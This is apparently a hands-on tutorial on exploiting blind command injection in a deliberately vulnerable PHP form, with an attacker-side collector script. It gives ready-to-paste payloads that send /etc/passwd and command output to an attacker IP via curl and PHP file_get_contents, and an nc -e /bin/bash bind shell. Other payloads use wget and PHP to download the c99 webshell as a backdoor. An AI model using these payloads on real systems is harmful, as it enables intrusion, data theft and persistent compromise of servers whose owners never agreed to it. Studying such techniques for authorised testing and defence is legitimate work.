How to exploit blind command injection vulnerability

A command injection vulnerability (also called remote code execution) allows commands to be executed at the operating system level. Such vulnerabilities can be found in web applications, routers. A detailed description of this vulnerability and methods of exploitation you will find in the article “Command injection: exploitation and automated vulnerability search”. The same article mentions the blind command injection vulnerability and shows examples of its exploitation. However, the blind vulnerability is harder to understand and slightly more difficult to exploit – instead of injecting a payload and watching the results right in a browser window or console, you need to use a third-party web server. Therefore, in this article, blind command injection is considered in more detail, in particular, several recipes are given.

Training in the exploitation of blind command injection

For training we need:

  • machine with web server and vulnerable web application
  • attacker's web server – it could be a second machine on the local network or your hosting

In fact, in real penetration testing, you can do without a direct IP, the details are described in the article “How to make a local web server accessible from the Internet without a white IP”.

It is also recommended to start by studying Command injection: exploitation and automated vulnerability search, as you should already know the basics of exploiting this vulnerability.

The following script will perform the role of the vulnerable application:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>Отправка сообщения администратору</title>
    </head>
    <body>
        <p>Введите сообщение администратору сайта hackware.ru</p>
        <form>
            <input name="message" type="text" />
            <input type="submit">
        </form>
 
        <?php
        if (isset($_GET["message"])) {
        	exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');
        }
        ?>
    </body>
</html>

Save it to a file with a .php extension. I saved it in the vuln web server folder, so I have this script available at http://localhost/vuln/.

As you can see, this is just a form to submit a string.

In this code, we are interested in the line:

exec ('echo ' . $_GET["message"] . ' >> /tmp/messages');

The exec function executes a system command without displaying a message. echo is used as a system command, with which the received message is saved to the /tmp/messages file. Of course, we are considering a case study in which no characters are filtered.

So, the script runs a system command of the form:

echo STRING >> /tmp/messages

If as the STRING we write “Hello, this is a test; sleep 10; #”, It turns out that the following will be executed:

echo Hello, this is a test; sleep 10; # >> /tmp/messages

On this line, the first command is

echo Hello, this is a test;

Then comes our payload

sleep 10;

Finally, we put a # (hash) sign so that the last part turns into a comment and doesn't cause errors:

# >> /tmp/messages

How to confirm a blind command injection vulnerability

Since no data is displayed, we need to find indirect ways to confirm the existence of the vulnerability. sleep 10 payload; is one such method – without this command, a new page is loaded almost instantly, and with this command, a new page is loaded only after 10 seconds – when the sleep command has finished its work.

In addition to the described method based on timings, you can initiate outbound connections from a vulnerable machine to a web server under the control of the attacker. Outbound connections are usually not denied by firewall rules. If it is possible to detect incoming connections from the attacked machine, then the vulnerability is confirmed.

On the attacker's web server or hosting, create a c.php file with the following content:

<?php

if (isset($_GET["b"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= base64_decode($_GET["b"]) . "\n". "\n";
	file_put_contents($file, $current);
}

if (isset($_GET["q"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= $_GET["q"] . "\n". "\n";
	file_put_contents($file, $current);
}

if (isset($_POST["q"])) {
	$file = 'messages.txt';
	$current = file_get_contents($file);
	$current .= $_POST["q"] . "\n". "\n";
	file_put_contents($file, $current);
}

The script is very simple – it takes the value of the b or q parameter sent by the GET and POST methods. The value of both variables is saved to the messages.txt file. The q value is stored as is, and the string from b is pre-decoded from BASE64.

I will be using Kali Linux as the attacker's machine. In this distribution, the web server files are stored in the /var/www/html/ folder. So I save the contents of the above script to /var/www/html/c.php:

sudo mousepad /var/www/html/c.php

In the same folder, you need to create a messages.txt file:

sudo touch /var/www/html/messages.txt

Since the file is owned by the root user, and the c.php script will work with the rights of the web server, you need to make this file writable to everyone:

sudo chmod 777 /var/www/html/messages.txt

You can monitor the appearance of new records in this file with the following command (new records in the messages.txt file will be displayed in real time as they are added):

tail -f /var/www/html/messages.txt

Let's start a web server on Kali Linux:

sudo systemctl start apache2.service

In a real situation, to exploit blind command injection, you need the attacker to have a white IP, or use any hosting with PHP. I will show with an example when both the vulnerable and the attacker computers are on the local network. Therefore, a local IP address is enough for me. You can view your local IP address with the command:

ip a

In Kali Linux, in my case, this is 192.168.56.104, therefore, the script for obtaining information is available at 192.168.56.104/c.php

Let's check its operation by opening the link 192.168.56.104/c.php?q=проверка скрипта in a web browser

As a result, the “проверка скрипта” line should appear in the messages.txt file.

We can use the curl command as a payload:

curl ATTACKER_IP/c.php?q=ANY-UNIQUE-STRING

For my example, I just need to enter the following into the message input box:

Hi, this is a test; curl 192.168.56.104/c.php?q=ANY-UNIQUE-STRING; #

As a result, the curl command will request a page with the specified address, and "ANY-UNIQUE-LINE" will be added to the messages.txt file.

This will confirm the vulnerability. But the problem is that curl might be missing on the vulnerable server. This is not a problem – we can do everything using pure PHP.

You can run a command of the form:

php -r 'PHP CODE TO EXECUTE'

To open the web link the file_get_contents function can be used, then my payload would be like this:

php -r 'file_get_contents("http://192.168.56.104/c.php?q=ANY-UNIQUE-STRING");'

And in the input field I will insert:

Hi, this is a test; php -r 'file_get_contents("http://192.168.56.104/c.php?q=ANY-UNIQUE-STRING");'; #

How to download files from the server with blind command execution vulnerability

Since no information is displayed, we need to use something more complex than injecting the “cat FILENAME” command.

The following can be used as a payload (based on PHP only):

php -r 'file_get_contents("http://ATTACKER-IP/c.php?b=" . base64_encode(file_get_contents("/PATH/TO/FILE")));'

In the given payload, you need to specify your values for:

  • ATTACKER-IP
  • /PATH/TO/FILE

An example for my case:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'

Then in the message input field to the administrator of the HackWare.ru site, I enter:

Hi, this is a test; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'; #

As a result, the attacker will receive the contents of the /etc/passwd file.

In this example, the data is transmitted using the GET method and is part of the URL, the length of which is limited, that is, only small files can be transferred this way.

Another option is based on cURL + POST. On the server, create an uploader.php file:

<?php
 
if (!empty ($_FILES)) {
    $uploaddir = '/srv/http/upload/'; # укажите папку для загрузки, в которую у сервера есть права записи!
    $uploadfile = $uploaddir . basename($_FILES['file']['name']);
 
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
        echo "OK.\n";
    } 
    else {
        echo "NOT OK!\n";
    }
}
 
else {
    echo 'I did not get POST!';
}

As a payload, run a command like:

curl -F "file=@/path/to/file" SERVER/uploader.php

Pay attention to the @ symbol – it is needed so that the file parameter is assigned not the value of the string “/path/to/file”, but the contents of the file that is located on the path /path/to/file.

Example command:

curl -F "file=@/etc/passwd" 192.168.56.104/uploader.php

How to view the result of a command execution with blind command injection

Now that we are able to copy files from a remote computer, the result of executing any command is enough to redirect to a file (the /tmp directory is always available for writing) and then upload this file to ourselves.

You can do without creating an intermediate file at all – send the data to the attacker immediately.

The following can be used as a payload (based on PHP only):

php -r 'file_get_contents("http://ATTACKER-IP/c.php?b=" . base64_encode(`COMMAND`));'

In the given payload, you need to specify your values for:

  • ATTACKER-IP
  • COMMAND

For example, I want to execute the command “traceroute suip.biz” then the payload looks like this:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'

And in the message input field to the administrator of the HackWare.ru site, I enter:

Hi, this is a test; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'; #

The method shown above is limited by the amount of data that can be transferred using the GET method, but it uses pure PHP.

If the remote machine has cURL, then the data can be transferred using the POST method, without any restrictions. To do this, use a payload like this:

curl -d "q=`COMMAND`" http://192.168.56.104/c.php

For example:

curl -d "q=`ls -l`" http://192.168.56.104/c.php

In the input field of the vulnerable “site” we enter:

Hi, this is a test; curl -d "q=`ls -l`" http://192.168.56.104/c.php; #

In fact, you can use the pure PHP + POST option as well. For example, you can use the PHP built-in cURL command. Or send data to the file_get_contents function using the POST method.

Port scanner. How to see open ports

Instead of scanning ports, try running the command remotely (more modern):

ss -tulpn

Or the older command:

netstat -tulpn

Opening a new shell through blind command injection

With netcat, you can open a shell on a vulnerable system – if it succeeds, then everything will become much easier. It is highly recommended to study the article “How to use netcat (nc), ncat”.

An example of a payload:

nc -l -e "/bin/bash" -p 43210

String for the input field on the site:

Hi, this is a test; nc -l -e "/bin/bash" -p 43210; #

Now the attacker can connect to the vulnerable server with a command like:

ncat VICTIMS-IP 43210

For example:

ncat 192.168.56.1 43210

In the shell that opens, you can execute any Bash commands.

You can upload a backdoor to the server with a payload of the form:

wget -O /var/www/html/helper.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php

Or:

php -r 'file_put_contents("shell.php",file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"));'

Or backdoors for post-exploitation:

  • Weevely
  • PhpSploit

Or any of the Webshells.

But the problem is that by default on Linux, the web server folders are owned by the root user, and sites are run by the web server user. This user does not have write access to the root folders, although it can read many files. That is, the trouble is that you can upload any files to the server, but they are almost impossible to save. You need to find a folder with write permissions, but the /tmp folder will not work – you need a folder with write permissions inside the directories of the web server.

If the server runs on Windows, then it is usually easier there – administrators of Windows servers do not always care about file and folder permissions.

Conclusion

So, we can do quite a lot when exploiting blind command injection. Remember, in addition to executing Bash commands and running Linux utilities, you can also execute PHP code.

Usually it is not possible to write to the web server directory, but you can always save the files to /tmp. You may need this to upload additional tools to the server, to find security issues and Privilege Escalation.

It is recommended to study the articles “Network pivoting: concept, examples, techniques, tools”, as well as “How to download files from servers”.

Recommended for you:

Leave a Reply

Your email address will not be published.